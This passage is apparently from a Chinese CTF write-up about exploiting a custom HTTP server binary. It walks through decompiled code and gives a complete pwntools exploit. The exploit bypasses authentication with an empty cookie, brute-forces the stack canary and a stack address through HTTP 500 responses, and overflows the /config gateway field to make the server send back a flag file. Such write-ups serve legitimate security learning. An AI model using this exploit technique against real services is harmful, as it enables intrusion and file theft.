    if ( !(unsigned int)sub_4034DA("gateway", v12, &v11) ) return 0;
    memcpy(v16, (const void *)(v11 + 4104), *(_QWORD *)(v11 + 8200));

/*
__int64 __fastcall sub_4034DA(const char *a1, __int64 a2, _QWORD *a3)
{
  unsigned int v5; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  for ( i = 0; i <= 19 && 8208LL * i + a2; ++i )
  {
    if ( !strcmp(a1, (const char *)(8208LL * i + a2)) )
    {
      *a3 = a2 + 8208LL * i;
      return 1;
    }
  }
  return v5;
}
*/

EXP 思路：

上面函数的流程已经大致分析完了，尽管感觉还是有点乱，信息量过于大，不过还是能够理清楚基本逻辑：

  1. 我们一开始通过 main 函数当中的 v6 = accept(fd, &v9, &addr_len);进行接收编号
  2. sub_401A24((unsigned int)v6);是子进程，v6 代表客户端连接的第一个参数进行函数执行
  3. 之后 v6 就会被当做参数 a1 被解析sub_401C58(a1, s)，在这里会对 a1 的 HTTP 报文进行解析：
  4. 大概是这个样子：就是我们常见的 POST/GET 请求包( 这个是之前抓的别的地方的包，这里借用一下

1779267997408-56447e67-a0d1-4b99-887c-958869342587.png

  1. 如果首字符串是 POST 就会进入到 POST 函数当中，在 POST 当中进行越权匹配到 /config 路由

URL 编码函数：

1
2
3
4
def url_encode(data):
    if isinstance(data, str):  # 如果传进来的是普通字符串 (str)，先将它转为字节流 (bytes)
        data = data.encode()
    return "".join(f"%{b:02x}" for b in data).encode()

以 HTTP1.1 协议的标准格式创造原始的 HTTP 请求数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def build_req(method, path, headers=None, body=b""):
    # 1. 拼接请求行 (Request Line)
    # 例如： "POST /config HTTP/1.1\r\n"，HTTP 协议规定每一行必须以 \r\n (回车换行) 结束
    request = f"{method} {path} HTTP/1.1\r\n".encode()
    
    if headers is None:
        headers = {}
        
    # 2. 自动计算 Content-Length
    if body and "Content-Length" not in headers:
        headers["Content-Length"] = len(body)
        
    # 3. 拼接请求头 (Headers)，遍历字典，拼接成 "Key: Value\r\n" 的格式
    # 例如： "Cookie: token=\r\n"
    for k, v in headers.items():
        request += f"{k}: {v}\r\n".encode()
        
    # 4. 拼接POST空行 
    # 前面 C 代码里的 strstr(buf, "\r\n\r\n") 找的就是这个分界线。
    request += b"\r\n"
    
    # 5. 拼接请求体 (Body)
    # 最后把 URL 编码后的 Payload 塞进去
    request += body
    
    return request

构造表单数据

1
2
3
4
5
6
7
8
9
10
11
def config(gateway):
    # 使用 pwntools 的 remote()，直接在底层与目标服务器建立一个原生的 Socket 连接
    # 对应了目标 C 代码中 accept() 函数接收到的新连接
    p = remote(HOST, PORT)
    body = b"route_name=&ip=&subnet_mask=&gateway=" + gateway
    p.send(build_req("POST", "/config", {"Cookie": "token="}, body))

    # 4. 返回连接对象
    # 把建立的连接对象 p 返回给调用者（比如 explode_canary 函数）
    # 这样调用者就可以利用 p.recvuntil() 去听一听服务器有没有发出 500 报错，或者利用 p.interactive() 拿到 Flag。
    return p

构造表单数据 (POST Body)

1
2
3
4
5
# 模拟用户在网页前端填写了网络配置表单并提交

# 前面的 route_name、ip、subnet_mask 我们都留空，因为它们不是溢出点，并不需要去利用

# 在最后一个 gateway= 后面，拼接上了传进来的参数 gateway，我们利用这个去传递恶意 payload
1
p.send(build_req("POST", "/config", {"Cookie": "token="}, body))
1
2
3
4
5
6
7
组装并发送 HTTP 请求
    # 调用前面刚刚解释过的 build_req，把散装的零件拼成符合 HTTP 规范的报文
    # - Method: "POST" (触发底层 POST 分发逻辑)
    # - Path: "/config" (触发底层处理配置的业务逻辑)
    # - Headers: {"Cookie": "token="} (极其关键！这是一个伪造的空 Cookie，专门用来骗过有缺陷的鉴权函数 sub_402FAF)
    # - Body: 上面拼好的表单数据
    # 最后通过 p.send() 把这串字节流发送过去

Canary 盲注：

我们前面说了，Canary 报错可以导致 HTTP500 报错，利用报错信息我们可以去爆破 Canary：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

def explode_canary():
    global canary  
    for _ in range(7):
        # 内层循环：1 个字节的范围是 0x00 到 0xFF，最多试 256 次。
        for i in range(0x100):
            payload = b"A" * CANARY_OFFSET + url_encode(canary + p8(i))
            p = config(payload)
            if b"500 Internal Server Error" not in p.recvuntil(b"\r\n\r\n"):
                canary += p8(i)
                log.success(f"Found canary byte: {i:#x}") 
                p.close() # 关掉当前连接
                break     # 跳出内层循环，开始猜下一个字节


            # 如果收到了 500 报错，说明猜错了，默默关掉连接，继续下一次 for i in range(0x100) 的循环。
            p.close()

之前定义了 canary = b”\x00”。因为在 64 位 Linux 下，8 字节的 Canary 最低位永远固定是 \x00 (用来截断字符串泄露的)，所以我们只需要爆破剩下的 7 个字节。

爆破 RBP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def explode_stack():
    global stack
    for _ in range(6):
        # 内层循环：和 Canary 一样，每个字节有 256 种可能性 (0x00 到 0xFF)
        for i in range(0x100):
            payload = b"A" * CANARY_OFFSET + \
            url_encode(p64(canary)) + \
            b"A" * 0x10 + \
            url_encode(stack + p8(i))

            p = config(payload)
            if b"500 Internal Server Error" not in p.recvuntil(b"\r\n\r\n"):
                stack += p8(i)
                log.success(f"Found stack byte: {i:#x}")
                p.close()
                break

            p.close()
  • 在 64 位 Linux 系统中，用户态的内存地址实际上只使用了 6 个字节，由于地址的最高两位永远是固定的 \x00\x00。所以我们只需要爆破剩下的 6 个有效字节即可。

打印 Canary 和 RBP 地址：

1
2
3
4
5
6
explode_canary()
canary = u64(canary)
log.success(f"Leaked canary: {hex(canary)}")
explode_stack()
stack = u64(stack.ljust(8, b"\x00")) - STACK_ADJUST
log.success(f"Leaked stack address: {hex(stack)}")

构造 payload 并发送：

1
2
3
4
5
6
7
8
9
10
payload = b"A" * CANARY_OFFSET + url_encode(p64(canary)) + b"A" * 0x10 + url_encode(p64(stack + 0x40)) + url_encode(p64(SEND_PAGE_ADDR))
fake_stack = flat({
    0x00: stack + 0x20,
    0x08: p32(200),
    0x0C: p32(4),
    0x10: b"flag\x00",
}, filler=b"\x00")
payload += url_encode(fake_stack)
p = config(payload)
p.interactive()

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

context.log_level = "info"
context.arch = "amd64"

HOST = "127.0.0.1"
PORT = 9999
SEND_PAGE_ADDR = 0x402BF1
CANARY_OFFSET = 0x28
STACK_ADJUST = 0x170

canary = b"\x00"
stack = b""

def url_encode(data):
    if isinstance(data, str):
        data = data.encode()
    return "".join(f"%{b:02x}" for b in data).encode()

def build_req(method, path, headers=None, body=b""):
    request = f"{method} {path} HTTP/1.1\r\n".encode()
    if headers is None:
        headers = {}
    if body and "Content-Length" not in headers:
        headers["Content-Length"] = len(body)
    for k, v in headers.items():
        request += f"{k}: {v}\r\n".encode()
    request += b"\r\n"
    request += body
    return request

def config(gateway):
    p = remote(HOST, PORT)
    body = b"route_name=&ip=&subnet_mask=&gateway=" + gateway
    p.send(build_req("POST", "/config", {"Cookie": "token="}, body))
    return p

def explode_canary():
    global canary
    for _ in range(7):
        for i in range(0x100):
            payload = b"A" * CANARY_OFFSET + url_encode(canary + p8(i))
            p = config(payload)
            if b"500 Internal Server Error" not in p.recvuntil(b"\r\n\r\n"):
                canary += p8(i)
                log.success(f"Found canary byte: {i:#x}")
                p.close()
                break
            p.close()

def explode_stack():
    global stack
    for _ in range(6):
        for i in range(0x100):
            payload = b"A" * CANARY_OFFSET + url_encode(p64(canary)) + b"A" * 0x10 + url_encode(stack + p8(i))
            p = config(payload)
            if b"500 Internal Server Error" not in p.recvuntil(b"\r\n\r\n"):
                stack += p8(i)
                log.success(f"Found stack byte: {i:#x}")
                p.close()
                break
            p.close()

explode_canary()
canary = u64(canary)
log.success(f"Leaked canary: {hex(canary)}")
explode_stack()
stack = u64(stack.ljust(8, b"\x00")) - STACK_ADJUST
log.success(f"Leaked stack address: {hex(stack)}")

payload = b"A" * CANARY_OFFSET + url_encode(p64(canary)) + b"A" * 0x10 + url_encode(p64(stack + 0x40)) + url_encode(p64(SEND_PAGE_ADDR))
fake_stack = flat({
    0x00: stack + 0x20,
    0x08: p32(200),
    0x0C: p32(4),
    0x10: b"flag\x00",
}, filler=b"\x00")
payload += url_encode(fake_stack)
p = config(payload)
p.interactive()

本地打通：

1779271964724-c25fda29-6bd2-4a73-a602-eed8aec60bed.png

远程爆破：

远程打了三遍打通了，前两次是 HTTP 服务请求繁忙导致 EOF 了：

1779272514974-4f113d65-5342-4de2-8f2d-352be481cf56.png

1779273258886-c03bdc5f-913c-4a22-a1ad-4a49d7fc2579.png

更新: 2026-05-20 22:02:17
原文: https://www.yuque.com/idcm/wnemg9/kbilq1xzdpc4s64b